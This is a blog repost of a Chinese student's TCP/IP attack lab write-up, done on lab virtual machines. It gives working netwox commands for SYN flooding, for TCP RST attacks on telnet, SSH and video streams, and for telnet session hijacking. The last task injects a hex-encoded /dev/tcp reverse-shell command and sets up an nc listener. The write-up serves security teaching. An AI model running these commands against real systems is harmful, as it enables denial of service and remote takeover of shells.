TCP/IP Attack Lab
2021/5/12 18:59:18
本文主要是介绍TCP/IP Attack Lab,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
文章目录
- Lab Environment
- Network Setup.
- Task 1: SYN Flooding Attack
- Task 2: TCP RST Attacks on telnet and ssh Connections
- Telnet连接
- SSH连接
- Task 3: TCP RST Attacks on Video Streaming Applications
- Task 4: TCP Session Hijacking
- Task 5: Creating Reverse Shell using TCP Session Hijacking
Lab Environment
Network Setup.
To conduct this lab, we need to have at least 3 machines. One computer is used for attacking, the second computer is used as the victim, and the third computer is used as the observer.
For convenience, I set up 3 virtual machines on the same host computer. Here are their net configuration.
1.For observer.
2.For Attacker.
3.For server.
Task 1: SYN Flooding Attack
通过此命令查看系统设置的队列范围大小
sudo sysctl -q net.ipv4.tcp_max_syn_backlog
可以看到最长为512。
再通过netstat -atu 查看正常状态下服务器中的半打开连接。
在进行洪泛攻击之前,先用客户机登录服务机。
telnet 192.168.2.6
可以看到可以成功登录。
在SYN cookie打开的情况下,用 Netwox 进行洪泛攻击。
sudo netwox 76 --dst-ip 192.168.2.6 --dst-port 23
查看此时服务机中的半打开连接。
可以看到此时,服务机的连接队列中有大量的半连接状态。
我们尝试用客户机登录服务机,发现仍然可以登录成功。
然后我们用这个命令sudo sysctl -w net.ipv4.tcp_syncookies=0 关闭 SYN cookie
重复上面的操作。
可以看到登录失败。
Task 2: TCP RST Attacks on telnet and ssh Connections
Telnet连接
用客户机192.168.43.5 登录服务机192.168.43.6
可以看到连接的端口号为49469。
用主机192.168.43.7 进行攻击。
sudo netwox 78 --device "Eth0" --filter "host 192.168.43.6 and tcp port 49169" --ips "192.168.43.5"
观察客户机,发现连接断开。
SSH连接
用客户机192.168.43.5登录服务机192.168.43.6
ssh seed@192.168.43.6
用Wireshark 抓包,查看连接端口。
可以看到端口为22。
用主机192.168.43.7进行攻击
sudo netwox 78 --device "Eth0" --filter "host 192.168.43.6 and tcp port 22" --ips "192.168.43.5"
观察客户机,连接中断。
Task 3: TCP RST Attacks on Video Streaming Applications
用服务机192.168.43.6观看bilibili视频
用主机192.168.43.7进行攻击
sudo netwox 78 --device "Eth0" --filter "host 192.168.43.6"
可以看到服务机192.168.43.6视频传输中断。
Task 4: TCP Session Hijacking
用主机192.168.43.7打开wireshark 监听客户端192.168.43.5到服务端192.168.43.6的TCP数据包。
用客户端192.168.43.5登录服务端192.168.43.6
telnet 192.168.43.5
找到建立连接发送的最后一个数据包,观察源ip地址,目的ip地址,源端口和目的端口。
使用netwox 40 来劫持此TCP会话。
-
用python打印出hello,world的ASCII码。
print 'hello,world'.encode("hex")
可以看到它的ASCII码为68656c6c6f2c776f726c64
-
构造netwox命令
sudo netwox 40 --ip4-src 192.168.43.5 --ip4-dst 192.168.43.6 --tcp-src 54992 --tcp-dst 23 --tcp-seqnum 120 --tcp-window 213 --tcp-data “68656c6c6f2c776f726c64”
Task 5: Creating Reverse Shell using TCP Session Hijacking
用python将反向shell的命令转换为ASCII码。
/bin/bash -i > /dev/tcp/192.168.43.7/9090 2>&1 0<&1
print '/bin/bash -i > /dev/tcp/192.168.43.7/9090 2>&1 0<&1'.encode("hex")
2f62696e2f62617368202d69203e202f6465762f7463702f3139322e3136382e34332e372f3930393020323e263120303c2631
在主机192.168.43.7(攻击机)用nc命令建立一个TCP服务器监听9090端口。
nc -lv 9090
获取源地址,目的地址,源端口,目的端口,序列号。
构造netwox命令。
sudo netwox 40 --ip4-src 192.168.43.5 --ip4-dst 192.168.43.6 --tcp-src 54992 --tcp-dst 23 --tcp-seqnum 2952122777 --tcp-window 113 --tcp-data “0d002f62696e2f62617368202d69203e202f6465762f7463702f3139322e3136382e34332e372f3930393020323e263120303c26310d00”
0d00表示回车
最后返回反向shell
这篇关于TCP/IP Attack Lab的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-07-05feign默认connecttimeout和readtimeout是多少-icode9专业技术文章分享
- 2024-07-05idea控制台,日志太多,导致部分想看得日志被刷走 搜不到-icode9专业技术文章分享
- 2024-07-05The server selected protocol version Tls10 is not accepted by client preferences [TLs12]-icode9专业技术文章分享
- 2024-07-05怎么清理项目缓存-icode9专业技术文章分享
- 2024-07-04安装 Eyoucms详细图文教程-icode9专业技术文章分享
- 2024-07-04ueditor 复制文章时,图片的链接是一个下载图片地址,该如何处理?-icode9专业技术文章分享
- 2024-07-04怎样判断host有没有对wordpress有缓存呢-icode9专业技术文章分享
- 2024-07-04具有编译功能的系统make后,无法ssh连接-icode9专业技术文章分享
- 2024-07-04make后如何升级ssh-icode9专业技术文章分享
- 2024-07-03微信支付提示下单账户与支付账户不一致-icode9专业技术文章分享